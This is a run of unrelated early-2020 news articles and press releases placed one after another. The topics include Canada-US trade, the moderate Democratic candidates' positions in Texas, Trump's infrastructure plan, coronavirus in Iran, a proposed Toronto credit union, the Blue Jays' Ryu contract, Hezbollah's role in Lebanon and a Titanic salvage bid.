Trump this last election, because they were left out," said Hoback. President Donald Trump repeatedly threatened to rip up the old North American Free Trade Agreement during the renegotiations. Freeland has had cabinet responsibility for Canada-U.S. relations during that time as foreign affairs minister and now as deputy prime minister. Getting a new deal became the Liberal government's top priority because of Canada's massive economic dependence on access to the United States, its biggest trading partner. This report by The Canadian Press was first published Feb. 20, 2020. INKAS Payments Corp. is pleased to announce full support for Smart Point-of-Sale (POS) terminals that offer businesses a secure all-in-one payment processing solution. The Canadian company has established strategic banking partnerships that allow it to bring cost-effective, next-generation technology to businesses of all sizes. With hundreds of merchant accounts across Canada, INKAS Payments helps drive growth and increase profits for their client base. From loyalty points, to calculators, to refund Every company has the necessary data for company-wide workforce pay and policy reporting, proves uFlexReward LONDON, Feb. 21, 2020 /PRNewswire/ -- As the 2020 reporting season gets underway, remuneration continues to be an area of focus. While some companies voluntarily disclosed the difference in pay between the CEO and the wider workforce in their 2018 annual report, all listed companies with more than 250 UK employees will need to make that disclosure this reporting season under the 2018 UK Corporate Governance Code. The new code also includes one provision that is causing a lot of last-minute activity. Compliance and legal advisors are advising Remuneration Committees (Remco) they must "review workforce remuneration and related policies and the alignment of incentives and rewards with culture," Section 5, Prov 33. To satisfy this, companies need to show that remuneration across the business is living up to policy statements on equal pay and opportunity. This travels far beyond the easier task of reporting on CEO pay ratios and the Gender Pay Gap. Remco's are now demanding data on a much wider range of factors that relate to pay equality and diversity. Additionally, they want to see all reward data including shares, benefits and pension and not just pay. Given the widely scattered data sources, organisations will struggle to collect the data to report accordingly, but Leena Nair, Unilever's Chief Human Resource Officer, said, "There's no excuse for any company to say, 'I can't do this, because I don't have the data to provide Remco's with the insights they need.' Every company has the data. They must provide it." Responsible for producing the data for Unilever's report is uFlexReward, the world's leading digital total reward platform has today released uFR Lite aimed to specifically help organisations go beyond compliance and look at all of the reward frameworks and mechanisms in place across the entire workforce. Nair, who is responsible for providing pay equity data to Unilever's Remco said, "It could take months to manually extract from the many systems that handle workforce pay, bonuses, pensions and benefits, but uFlexReward were able to provide Unilever with a complete Pay Equity data warehouse, with a suite of reports and unlimited analytics within 48 hours. Unilever has now asked uFlexReward to make this important data gathering functionality, that supports pay equality and diversity, available to peer organisations," added Nair. "Many companies are facing a pay equity "data gap" because their pay equity audits focused on gender pay equality and not other areas of inequality. Nearly all companies have equal pay and equal opportunity policies that extend beyond gender - so the Remcos will want to see what they are doing," said Ken Charman, CEO of uFlexReward. uFR's full Pay Equity Report shows data for all employees, all categories of reward (not just compensation) across the complete spectrum of employee demographics. Together with the factors used to explain pay variation; grades, bands within grades, job definitions and others. "More importantly, given the reporting deadlines, this is a services project, so it is instantly available without the long and arduous process of IT procurement," added Charman. "We can produce a report that covers many layers of an organisation's workforce pay and policies that the Remcos can navigate through to get further insights if needed, by applying reward policies to an anonymised employee demographics file extracted from their human resources information system." The reports can even go broader than that, and into reputational implications as well, which will be of interest to board members who are paying increased attention to risk management after ongoing and very public corporate scandals, and the resulting negative impact on company performance. "Businesses in sectors with known wide gender pay gaps should already be auditing their salary structures on a role-by-role basis and taking necessary measures to address anomalies, uFR makes this possible, without creating a new industry of reporting," concluded Charman. About uFlexReward uFlexReward offers a digital dashboard for real-time access for full-time employees and contingent workers to their Total Rewards Statement, enabling full visibility of salary, bonus, pension, benefits, stock options, health plans and more. It's a platform that was successfully developed and implemented by Unilever for their own employees worldwide, and now available to all organisations looking to implement a reward strategy for a digital age. For more information, please visit https://www.uflexreward.com/ AUSTIN With Bernie Sanders ascendant in the Democratic presidential primary apparently even in Texas the four moderates in the race are vying to be an alternative to Sanders brand of democratic socialism. I dont think theres any chance of the senator beating President (Donald) Trump, Michael Bloomberg, the billionaire and former New York mayor who has poured $25 million into ads in Texas alone, said of Sanders at Wednesdays debate in Nevada, voicing the concerns of many moderate Democrats. Weve got to wake up as a party, said Pete Buttigieg, the former South Bend, Ind., mayor who has placed second in the first two states to vote. We could wake up two weeks from today, the day after Super Tuesday, and the only candidates left standing will be Bernie Sanders and Mike Bloomberg, the two most polarizing figures on this stage. Know the candidates: Houston Chronicle 2020 primary election voter guide; San Antonio Express-News 2020 primary election voter guide More Information Where the moderate Democrats running for president stand On Guns Biden: Would reinstate expired 1994 assault weapons ban he helped pass. Supports assault-weapon buy-backs, expanded background checks, red flag laws and a ban on internet gun sales. Bloomberg: Generous financial supporter of gun control (Everytown for Gun Safety patron). Would ban assault weapons and high-capacity magazines, institute a gun-buyer permit system and promote universal background checks and red flag laws. Not for a buyback. Buttigieg: Supports assault rifle ban, universal background checks, red flag laws and a national license-to-purchase requirement. Has called a mandatory buyback an unrealistic "shiny object." Klobuchar: Ban assault weapons and high-capacity magazines; enact universal background checks and red flag laws, raise purchase age to 21. Supports voluntary buyback, but not mandatory. On Energy and environment Biden: Early acknowledger of climate change and holder of a solid environmental voting record. Calling for a 100 percent "clean energy economy" by 2050. Bloomberg: Long-time climate change activist and patron of the cause, he has pledged to seed his Beyond Carbon plan with $500 million and work to eliminate coal plants by 2030. Buttigieg: Favors stiff carbon tax and renewable energy subsidies to fight global warming. Calls for 100 percent "clean" electric energy by 2035. No new fracking. Klobuchar: Signed the No Fossil Fuel Money Pledge. Restore climate/clean energy policies rolled back by Trump. Review fracking. On Health care Biden: As Obama's veep, strongly supported the Affordable Care Act; would protect and expand it and add a public insurance purchase option. Bloomberg: Expand coverage with a public insurance option and improvements to the Affordable Care Act. As mayor promoted healthy living initiatives, including a tax on soda pop. Buttigieg: Public + private Medicare for All Who Want It plan to achieve universal coverage. Klobuchar: Expand coverage by broadening Medicare and Medicaid, including a nonprofit public insurance option. Greatly increase spending for drug/alcohol and mental health treatment. On Immigration Biden: Would roll back Trump anti-immigration measures such as limiting asylum-seekers at the border and making migrants wait outside the country. Has worked to distance himself from high Obama-era deportation numbers. Would consider a wall as part of more comprehensive reforms. Bloomberg: As mayor, signed legislation restricting the city's cooperation with ICE and providing legal aid to immigrants. Favors system overhaul. Buttigieg: Would expand legal immigration and hire more workers to erase the backlog of applicants. Wouldn't separate migrant children from their families. Wall must be part of larger reforms. Klobuchar: Comprehensive reform including increasing levels of legal immigration and offering a path to citizenship for immigrants here without permission. Has said she would consider paying for a wall if it's part of broader reforms. - Eric Dexheimer See More Collapse What I want everyone out there watching to remember is that what unites us is so much bigger than what divides us and that we need a candidate that can bring people with her, Sen. Amy Klobuchar of Minnesota said. The fourth moderate, former Vice President Joe Biden, led in Texas Democratic presidential polling for nearly a year until last week when a University of Texas/Texas Tribune poll found Sanders ahead, backed by an increasingly polarized voter base and now No. 2 in total delegates after the Iowa and New Hampshire primaries. That shift leaves the moderates competing for what appears to be a shrinking pool of the Democratic electorate as early voting starts in Texas. The number of Texas Democrats who identify as liberal has increased as the Democratic party in Texas has slowly begun to look a bit more like the Democratic party in the rest of the country, said Jim Henson, director of Texas Politics Project at the University of Texas at Austin. Texas Take: Get political headlines from across the state sent directly to your inbox As of February, just 27 percent of Democratic voters in Texas identified as moderate, according to UT/TT polling dating back to 2008 when more than 50 percent considered themselves moderate. All things being equal, one feels like there are more moderate voters, Henson said. But thats less true than it used to be. As the race tightens for them, here is an issue-by-issue look at where the four moderates in the presidential race stand. Future of oil and gas Every one of the Democratic candidates has called for a shift to clean energy in the coming years. The 230,000 Texans who work in the oil and gas industry now would have plenty of time and options in clean energy fields, or elsewhere, they argue. How quickly they would get there is another matter. Biden, who touted a trillion-dollar program for infrastructure that will provide for thousands and thousands of new jobs, has said his goal is 2050, as have several others. Bloomberg, long a financial supporter of environmentalist groups, said during Wednesdays debate thats too far away. No scientist thinks the numbers for 2050 are 2050 anymore. Theyre 2040, 2035, he said. The world is coming apart faster than any scientific study had predicted. Weve just got to do something now. For subscribers: In Democratic primary, fossil-fuel bans rule even for centrists Biden has said hed eliminate all subsidies for oil and gas something he says would save millions and millions billions of dollars. Biden also said during the debate that he would reinstate mileage standards he claims would have saved over 12 billion barrels of oil. Further, Biden has vowed to go after oil and gas executives and hold them accountable for environmental damage done by the industry. Asked during the debate whether he would go so far as to put them in jail, Biden replied: Im willing to go as far as we have to, suggesting possible civil suits filed by the government, like those against tobacco companies and drug companies. Buttigieg, meanwhile, called for pulling in those very sectors who have been made to feel like theyre part of the problem, from farming to industry, and fund as well as urge them to do the right thing. None of the moderates would go so far as to ban hydraulic fracturing outright, something the progressives in the race have pushed. Such a measure would likely require an act of Congress. But Klobuchar and Buttigieg have pledged to put an end to new federal fracking permits, at least temporarily. I have made it very clear that we have to review all of the permits that are out there right now for natural gas and then make decisions on each one of them and then not grant new ones until we make sure that its safe, Klobuchar said. Were not going to get rid of fracking for a while, Bloomberg said. Divide on guns Each of the moderates has called for a slew of new gun restrictions banning assault weapons and high-capacity magazines, expanding background checks for gun purchases and instituting red flag laws to remove guns from those found by a judge to be a threat to public safety. The dividing line is set in how far they would go toward removing those weapons from their owners. Biden and Klobuchar have said they would push a voluntary buyback program for assault weapons. When asked in August whether a Biden administration would take away peoples guns, the former vice president responded, Bingo! Youre right, if you have an assault weapon. For subscribers: Texas is the big target for gun safety group planning $8M campaign That was after a gunman shot and killed 22 people at an El Paso Walmart, one of the mass shootings in Texas last August that led former U.S. Rep. Beto ORourke to declare from the presidential debate stage in Houston in September that hell yes, were going to take your AR-15s. The moderates who have outlasted ORourke wouldnt go nearly as far. Buttigieg at the time called a mandatory buyback a shiny object that was unrealistic. Even Bloomberg, who has bankrolled Everytown for Gun Safety a group set to spend $8 million in Texas this year to elect candidates willing to enact new gun laws has spoken out against mandatory buybacks. You would never get them back, Bloomberg told NBC News in January. It would be a nightmare. What we should settle for not that Im happy with it but we should settle for dont sell any more automatic weapons to anybody other than the military and the police department, he said. Sparring on health care Health care has been probably the clearest dividing line in the presidential primary, with the moderate field essentially forming around opposition to Sanders, and to a lesser extent Sen. Elizabeth Warrens, calls to offer Medicare For All. But there are only minor distinctions in the crowded moderate lane, where they would all offer some universal health care option either by adding a public option to the Affordable Care Act or by opening up Medicare to more people while preserving private insurance plans. Despite the agreement, some used health care to take shots. I notice what everybodys talking about is the plan that I first introduced, Biden said. It costs a lot of money. It costs $750 billion over 10 years. But I paid for it by making sure that Mike and other people pay at the same tax rate their secretary pays at. ben.wermund@chron.com twitter.com/benjaminew JEFFERSON CITY, Mo. As a presidential candidate in 2016, Donald Trump promised a $1 trillion infrastructure plan that would use tax incentives to spur private investment in public works projects. He has so far failed to persuade Congress to pass anything like that. In another election year, Trump has outlined a new $1 trillion plan for spending on roads, rails, water systems and other infrastructure. This time, the president is proposing to rely fully on federal spending. That fundamental change from his first plan drew praise from some state transportation officials and industry groups, even though Trump doesnt spell out how to pay for it all. Since outlining his budget proposal last week, Trump has done little to promote his new infrastructure plan. A politically divided Congress has no obligation to consider it. In fact, Trumps prior infrastructure proposals all stalled, even when Republicans controlled both the House and Senate. Some Republicans already are lowering expectations. The Republican House version of the bill wont be a trillion dollars, I can tell you that right now, said U.S. Rep. Sam Graves, the ranking GOP member of the House Transportation and Infrastructure Committee. It will be a lot farther south than that. Trumps retooled infrastructure plan relies on existing fuel tax revenue to cover much of the cost. That allows him to include billions of dollars worth of projects that likely would have happened no matter who was president. White House budget documents show that Trumps plan lacks revenue sources for almost half the $1 trillion amount about $450 billion proposed for roads and bridges, public transit, rails, ports, pipelines, dams, drinking water and sewer systems, and electrical and high-speed internet networks. The proposal is a fantastic development that would be a great shot in the arm for infrastructure improvements in this country, said Dean Franks, head lobbyist for the American Road and Transportation Builders Association. But he added, How to pay for it is always the big question. Improving the nations infrastructure has been one of the few policy areas touted by both parties. But such talk has yet to result in action. Last year, for example, Trump and Democratic congressional leaders temporarily agreed to work toward a $2 trillion infrastructure plan that House Speaker Nancy Pelosi said would be big and bold. But that disintegrated as House Republicans raised concerns about cost, Trump declared a new North American trade deal a higher priority and Democrats pursued impeachment. For Trump, a $1 trillion target has remained a focal point of his infrastructure plan, even as the way to pay for it has evolved. The goal traces back to one-upmanship of former Democratic presidential candidate Hillary Clinton, who in 2016 had proposed spending and loans that she projected would generate about $500 billion for infrastructure. Asked for details about his own plan in August 2016, Trump told Fox Business: Well, I would say at least double her numbers. When pressed on how he would pay for it, Trump replied, We would do infrastructure bonds. During an October 2016 speech in Gettysburg, Pennsylvania, Trump provided new details and included infrastructure in his 100-day action plan to make American great again. He said he would leverage public-private partnerships and private investments through tax incentives to spur $1 trillion in infrastructure investment over the next 10 years. As president, Trumps first two budget proposals included $200 billion in new federal funding for infrastructure that he said would generate at least $1 trillion in projects when matched with money from state and local governments or private investors. But those plans never passed a Republican-led Congress. Some state transportation officials raised concerns about their ability to shoulder the burden, noting that Trumps plan would have flipped the traditional model wherein the federal government covers the majority of costs for highways, bridges and public transit projects. There was much criticism of this administration when they kept promising a $1 trillion infrastructure plan, and the budget came out, and there was only $200 billion in actual federal money, said Jeff Davis, senior fellow at the nonprofit Eno Center for Transportation in Washington, D.C. This year, its actually $1 trillion in honest-to-God spending by the United States Treasury Department. Trumps new plan takes a more traditional Washington approach. He proposes $810 billion through a 10-year reauthorization of the surface transportation program, which provides funding for roads, bridges, rails, public transit and transportation safety programs and is set to expire at the end of September. He adds $190 billion in one-time grants, including $60 billion for mega-projects that could include everything from roads to dams to high-speed internet networks. Other grants would be devoted to freight systems, bridges, public transit and rural projects. But no specific examples of potential projects are listed. U.S. Rep. Peter DeFazio, an Oregon Democrat who chairs the House Transportation and Infrastructure Committee, said he was encouraged that Trumps budget signals he is interested in at least talking about the need to invest in our nations crumbling infrastructure. But DeFazio touched on a potential sticking point: He said it was hard to say whether Trump actually wants to move forward with innovative solutions that would tackle carbon pollution in the transportation sector. One way to fund Trumps latest plan would be to raise the federal fuel tax, which has remained unchanged since 1993, at 18.3 cents a gallon for gasoline and 24.3 cents for diesel fuel. But that has gained little traction in Congress, even though the increase has support from the U.S. Chamber of Commerce and AFL-CIO, two high-profile allies of both parties. Trumps proposal includes no tax increase. The White House Office of Management and Budget said the administration would work with Congress to cover a $261 billion gap between highway trust fund revenue and his proposed spending. It suggested cuts could be made elsewhere in the budget to help pay for it. Trumps plan is larger than a House Democratic plan announced in January. His plan to pair a transportation reauthorization bill with an upfront infusion of cash for infrastructure projects is similar to a concept that then-President Barack Obama unsuccessfully proposed in 2011. Lawmakers who were reluctant to take on new spending may remain hesitant today. We have to be careful when it comes to increasing deficits, said Graves, who represents a northern Missouri district that voted overwhelmingly for Trump. We just cant keep heaping more spending and more spending on top of what were already doing. ___ Follow David A. Lieb on Twitter: https://twitter.com/DavidALieb Buta Airways flight departing from Baku made an emergency landing in Esenboga airport of Ankara instead of Alanya due to unstable weather conditions. The flight made a successful landing in Ankara at 11:08 Baku time. The plane will depart for Alanya after the weather condition will get stable. Technavio has been monitoring the cold-pressed juices market and it is poised to grow by USD 275.5 million during 2019-2023, progressing at a CAGR of 8% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005013/en/ Technavio has announced its latest market research report titled Global Cold-Pressed Juices Market 2019-2023 (Graphic: Business Wire) Health benefits of cold-pressed juice over traditional juice has been instrumental in driving the growth of the market. Request a free sample report Cold-pressed Juices Market 2019-2023: Segmentation Cold-pressed Juices Market is segmented as below: Type Cold-pressed Fruit and Vegetable Blend Juices Cold-pressed Fruit Juices Cold-pressed Vegetable Juices Geographic segmentation APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR30974 Cold-pressed Juices Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our cold-pressed juices market report covers the following areas: Cold-pressed Juices Market Size Cold-pressed Juices Market Trends Cold-pressed Juices Market Industry Analysis This study identifies growing preference for clean-labeled cold-presses juices as one of the prime reasons driving the cold-pressed juices market growth during the next few years. Cold-pressed Juices Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the cold-pressed juices market, including some of the vendors such as Hain Celestial, MOJU LTD, PepsiCo, Starbucks Coffee Company and Suja Life, LLC. Backed with competitive intelligence and benchmarking, our research reports on the cold-pressed juices market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Cold-pressed Juices Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist cold-pressed juices market growth during the next five years Estimation of the cold-pressed juices market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the cold-pressed juices market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of cold-pressed juices market vendors About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005013/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Iran forms task force to fight coronavirus after two deaths reported in central city Iran Press TV Thursday, 20 February 2020 2:23 PM The spokesman for the Iranian administration says the country has formed a special task force to battle coronavirus, which emerged in China late last year and has claimed two lives in the Islamic Republic so far. Ali Rabiei announced the formation of the team on Twitter on Thursday, saying it is tasked with taking necessary preventative measures and confronting further spread of the virus. He said the unit was set up on President Hassan Rouhani's order in the presence of the country's ministers of health; cultural heritage, handicrafts and tourism; as well as roads and urban development in addition to the representative of the General Staff of the Armed Forces. "The administration will take all the necessary measures while exercising utmost sensitivity and using entire strength," the official stated, calling on the people to heed safety and hygiene advisories issued by the health ministry. The administration began discussing the matter during several sessions right after the virus outbreak in China, ordering contingency measures on the country's borders, he said, noting that the health ministry too began closely monitoring the issue and taking the required precautions. On Wednesday, health authorities in the central Iranian city of Qom confirmed two deaths as a result of coronavirus infection. The victims were described as two elderly men, one of whom had been suffering from chemical weapons' injuries he had sustained during the Iran-Iraq war in the 1980s. It is not clear yet how the duo contracted the virus, but Deputy Health Minister Qassem Janbabaei has visited the city to supervise the preparations that are required for confronting a potential spread. The announcement of the coronavirus cases came nearly a month after authorities evacuated dozens of Iranian students from the central Chinese city of Wuhan, where the virus reportedly emerged at an illegal wildlife market. The 57 students were released from a 14-day quarantine inside a hotel in southwestern Tehran on Tuesday. Across the world, more than 2,000 people have died and nearly 100,000 remain affected by coronavirus, which is centered in the Chinese province of Hubei. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Torontos Black population could once again have its own financial institution if a trio of African Canadian organizations can muster enough community support to get the proposed Pan-African Credit Union off the ground. Although the proposed institution is not exclusive to people of colour, the goal is to provide an alternate banking organization that better serves the Black community in the Greater Toronto Area, and eventually, the rest of the country, said Adaoma Patterson, president of the Jamaican Canadian Association, one of three entities behind the project. Its a lofty goal, Patterson said. Well overdue, though. The group has set an ambitious target for the credit union to open within two years. We hope that we can get through all of the stages to launch by the summer of 2021, she said. The main aim is to provide financial services to Blacks who have been traditionally under-served or un-banked, she said. People have been asking for it for a while, she said. This piece was the next logical step. While families will be the core of the credit unions membership, making investments in Black-owned businesses is also key, she said. The community has always talked about economic empowerment, Patterson said. It enables all of the other conversations when you have that economic ownership. Running a credit union isnt unfamiliar turf for the JCA, which operated one, that puttered along before it folded in the mid-1990s. The Star reported on the demise of the organization in 1995. Prompted by concerns for members, the Deposit Insurance Corporation of Ontario, which insured individual deposits up to $60,000, assumed control of the Caribbean Canadian African (Ontario) Credit Union on Aug. 31, 1995. Continuing operating losses were cited by the Ministry of Finance, according to Bill Foster, an insurance corporation vice-president, who replaced the board as administrator of the organization. This credit union has no reserves and is in a deficit position. Its liabilities exceed its assets, said Foster at the time. A lawyer for the former board members said, in early August, 1995, that the only problem was the credit union had spent money anticipating $750,000 in funding from the government and had only received $370,000 of it. Plans to revive the credit union started to regain some life in 2016, after Patterson assumed the presidency of the JCA. We were tackling a lot of other things, but it seemed like the financial institution piece was missing, she said. Patterson soon discovered that the JCA wasnt alone in championing the return of a black-focused financial institution. The Lions Circle African Mens Association, also had an interest in establishing a credit union of its own. It made sense to join forces, she said. The idea started gaining steam, after the Canadian Black Chamber of Commerce, which launched in 2019, joined the partnership. A steering committee, including people from financial backgrounds, has been meeting weekly, in recent months. Andria Barrett, president of the Black Chamber of Commerce, said she often fields complaints from small business owners about difficulties in accessing financing from traditional banks. Ive heard countless stories from Black business owners, who have made some money, but cant get a business credit card or a loan, so we have to create our own, she said. Still in its infancy, the group is gathering feedback, via an online survey, to test the communitys appetite for the kind of financial institution they want. Once the survey closes in March, there will be a clearer indication of whether the concept has enough backing to move forward. We have been working towards getting regulatory approval, Barrett said. The chamber is hosting Rod Phillips, Minister of Finance, next week Thursday, to talk about this and other economic issues. Weve been going to different locations and actually promoting the survey, she said. The response has been good overall. Patterson said early research revealed a daunting road ahead, as not many cultural credit unions are being approved in Ontario. Provincial regulators must be convinced that a sufficient cohort of people will put their money into such a scheme. Its one of the very reasons the former credit union failed in the 1990s. You have to show that people are actually willing to put some money into this as a startup, she said. In addition to providing financial services, the new credit union will offer financial education on topics from budgeting to wealth-building, Patterson said. Entrepreneur and philanthropist, Denham Jolly, is already hailing the potential advent of a credit union as a way to break the financial chains holding back the next wave of entrepreneurs. Its not easy for a Black person to get financing of any nature, said Jolly, renowned for starting Canadas first Black-owned radio station FLOW 93.5. He said Black people have long struggled to walk into a bank and be taken seriously. The former credit union, which went under in the 1990s, had a business plan that required it to hold $5 million in assets by 1997, wrote Cecil Foster, a journalist, author and scholar, in an opinion piece, printed in the Star, in 1995. Internal problems hobbled the credit unions push to build up its assets pool. The capital on hand was less than $2 million at the time, Foster wrote. Jolly bemoans the missteps that led to the demise of the former credit union, but said thats water under the bridge. I would like to be on the board of governors, Jolly said about lending a hand on a new credit union. Foster wrote about efforts by the Black Business and Professional Association and the JCA to to save the old credit union, including a membership drive to get more Black groups and individuals to open accounts. Barrett said the past will help to guide the current application. We see the need and we learn from history, she said. Oana Branzei, associate professor at Western Universitys Ivey School of Business, said there is a persistent disadvantage minorities, especially those of colour, face, and it holds them back from things such as business startups. It is not as severe as the U.K or U.S, but its certainly a problem, she said. Branzei said specialized credit unions are a catalyst for people of colour to bank in a dignified way. When this is a movement from within the community, it feels right, she said. Branzei said rejecting a community-driven effort, given the discrimination that has taken place, will be politically hard to do. Although they were then coming off a 67-win campaign and their third straight year without a playoff berth, the Blue Jays still managed to reel in one of the offseasons highest-ranked free agents. They added former Dodgers southpaw Hyun-Jin Ryu on a four-year, $80MM contract the largest deal theyve awarded since Mark Shapiro became team president late in the 2015 season. Shapiro discussed the Ryu signing, among other topics, with Shi Davidi of Sportsnet. Ryu was tremendous at times in Los Angeles, especially from 2018-19, and will now slot into the top of Torontos revamped rotation from the get-go. Still, the commitment the Blue Jays made to Ryu no doubt comes with its share of risk. The club is far from a sure thing to be an immediate contender, for one, so Ryus contributions early in the deal may not lead to a vast amount of team success. Hes also set to enter his age-33 season and has seldom been the picture of durability since debuting in 2013. Last year marked the first time since 2014 that Ryu threw more than 150 innings in a season. The Blue Jays are obviously excited about having won the Ryu derby, but Shapiro acknowledged to Davidi that time will tell the value return on the pact. He continued: Free-agent starting pitching in general is a high-risk market and were very aware of that. Thats why were so careful. You dont pound your chest over signing someone. You have all your reasons for doing it, you know the risks going in. We identified the need and felt this was one of the best opportunities for us to get better and take a step. The Jays are hopeful Ryu will provide value in each year of the contract, but if most of it comes toward the beginning of it, Its certainly not ideal but its certainly not disastrous, Shapiro said. He admitted that contracts get more risky as a player ages, so you would expect to get more on the front side. Torontos cognizant that it took a chance in signing Ryu, but the fact that the team has so much young, inexpensive talent gave it the necessary financial flexibility to make that gamble. With Ryu on the roster, Shapiros all the more confident that the Blue Jays are going to be good, thanks in part to the mass of talent theyve built up in recent years. We use cookies. By Clicking "OK" or any content on this site, you agree to allow cookies to be placed. Read more in our privacy policy Hezbollah fighters march in a ceremony. The new Lebanese government under Prime Minister Hassan Diab is backed by an Hezbollah-Iran controlled alliance, Feb. 7, 2020. (JNS)-The last several months have not been good for Lebanon, as it's been wracked by economic and political instability. Protesters upset over years of government mismanagement, sectarianism and deep-rooted corruption forced the resignation of Lebanese Prime Minister Saad Hariri in October, which led to more political paralysis and put the country on the verge of a financial collapse. Seeking to address these imminent concerns, the country formed a new government in January under Prime Minister Hassan Diab, a 60-year-old technocrat and engineering professor at the American University of Beirut. While under the country's constitution the prime minister must be a Sunni Muslim, Diab received little support from his own Sunni community, who traditionally aligned with the West and Saudi Arabia, and instead his appointment was largely backed by the Hezbollah-allied March 8 parliamentary bloc, which comprised mostly of Shi'ite Muslims and pro-Syrians. This means, of course, that Iran-Hezbollah's chief sponsor-now holds a tighter grip on Lebanon and its terror proxy has broader reign. The question is: What does this portend for Israel? According to Matthew Levitt, director of the Reinhard Program on Counterterrorism and Intelligence at the Washington Institute, and author of Hezbollah: The Global Footprint of Lebanon's Party of God, Hezbollah's stronger position in Lebanon underscores "the extent to which the group's actions prioritize its interests, and those of its chief sponsor, Iran, over the welfare of Lebanese citizens and Lebanon's economy." Already the most powerful armed force in the nation that border Israel on the north, the last 15 years has seen Hezbollah increasing its role in mainstream politics, holding numerous seats in previous governments. But the new government under Diab does not include any Western-backed political parties in Lebanon, leading to concern that the government will be unable to secure international help to ease the financial crisis, while at the same time further entrenching the Iran-Syria-Hezbollah alliance in the country. 'It will not change the basics of the equation' Jonathan Schanzer, vice president of research at the Foundation for Defense of Democracies, told JNS the fact that Hezbollah has grown stronger in Lebanon "is not a recent revelation. It is something that has been happening for years, and the international community has stood by idly and failed to intervene." "There are those who still believe that counter-corruption measures and targeted sanctions might work-and they could hurt Hezbollah on some level-but it will not change the basics of the equation, which is that Lebanon is controlled, at least 40 percent, by an Iranian proxy terrorist organization," he said. According to Schanzer, from Israel's perspective the Lebanese Armed Forces are working hand-in-glove with Hezbollah, and if Israel comes under attack, it will respond to any strikes that come out of Lebanon. Israel is also signaling that attacks against it from Lebanon could prompt strikes against Iran itself. Just a few months ago, it could be said that there was at least a partial differentiation between the Lebanese Armed Forces and Hezbollah. Now, with Hezbollah controlling Lebanon's government (and military), Israel must contend with a full-fledged terror state on its northern border serving as a proxy to Iran. It is also unclear what level of support the new Lebanese government will receive from the United States. Last December, the United States released $105 million in aid to the Lebanese Armed Forces after months of delay. However, there is deepening concern within the Trump administration over the new government's ties with Hezbollah. In an interview with Bloomberg in late January, U.S. Secretary of State Mike Pompeo expressed concern about that new direction. Israeli diplomats have been working hard in recent years to push their other countries to recognize Hezbollah as a terrorist organization. For a long time, many countries drew a false distinction between Hezbollah's military and political wings. Now, this is finally beginning to change. Honduras and Colombia recently joined Argentina and Paraguay in recognizing Hezbollah as a terrorist organization. Brazil has indicated it might soon do the same. Britain's finance ministry recently said it had added the entire Hezbollah movement to its list of terrorist groups; the ministry previously only targeted the Shi'ite terror group's military wing. The German parliament passed a resolution in December, calling on the government to officially designate Hezbollah as a terror organization and outlaw the group's activities in the country. With Diab in place, there is now little distinction between Hezbollah and the Lebanese government, according to Jonathan Spyer, an expert on the region at the Jerusalem Institute for Strategy and Security. Hezbollah is the "de facto ruler of Lebanon, so any challenge to the political order in the country directly involves it," he told JNS. "The formal state, up to and including the highest bodies of government, is now operated solely and overtly by Iran via its franchise." "Hezbollah is seeking an end to the protests, involving no substantive change to the power structures in the country," he said. "The appointment of Diab forms a part of this. Hezbollah seeks to end the protests without losing its image as the defender of poor Lebanese." According to Spyer, "in a future contest between Israel and Hezbollah-Iran, the state of Lebanon, under its Hezbollah-dominated government, will constitute the enemy. This, in turn, will enable Israel to exercise the full range of options available to it from a conventional military point of view." A tentative 'mutual deterrence' between Israel and Lebanon With Hezbollah's takeover of the Lebanese government now complete, what options does Israel have in confronting this threat? Uzi Rubin, preeminent Israeli expert on missile defense, founder and director of the Arrow defense program, an Israeli defense engineer and analyst at the Institute for National Security Studies, told JNS that while Hezbollah is careful to nurture the idea that it has more than 100,000 missiles at its disposal, it doesn't want escalation since "Lebanon will suffer and so will the people there." Israel cannot preempt Hezbollah's use of its rockets since that very act could start a war. "Any escalation with Hezbollah will cause the citizens of Israel suffering," he said. However, he emphasized that measures Israel can be taken to mitigate the possibility of a rain of missiles on Israel's home front and thus potential mass casualties. Israel invests heavily in missile defense, but it also invests in what Rubin referred to as "passive defense." Every Israeli citizen buying a home must invest in protected rooms. The amount of national income being spent on this necessity is more than the expense of the Iron Dome air-defense system. While Iron Dome "can mitigate the damage, it cannot prevent the damage completely," he said. Spyer also said he does not believe that an Israeli proactive attack is likely. He noted that at present, a kind of mutual deterrence system applies between Israel and Lebanon. "This could be broken in the event of a conflagration involving Israel and Iran," he said, though "it is unlikely to emerge because of internal Lebanese dynamics." It seems apparent that in the event that Israel comes under fire from the north, it will retaliate heavily against Lebanon-and not just against Hezbollah strongholds. "I don't see any reason," Rubin said matter-of-factly, "why residents of Beirut can go on sipping coffee in coffee shops while we are being bombarded by rockets." The salvage firm that has plucked silverware, china and gold coins from the wreckage of the Titanic now wants to recover the Marconi wireless telegraph machine that transmitted the doomed ship's increasingly frantic distress calls. Lawyers for the company, RMS Titanic Inc, called witnesses before a federal judge on Thursday to explain why the company should be allowed to possibly cut into the rapidly deteriorating ship to recover the device before it's irretrievable. It's one of those iconic artifacts, like the signal flares (that the sinking ship launched), testified David Gallo, an oceanographer who retired from Woods Hole Oceanographic Institution and is now a paid consultant for the firm. Dr 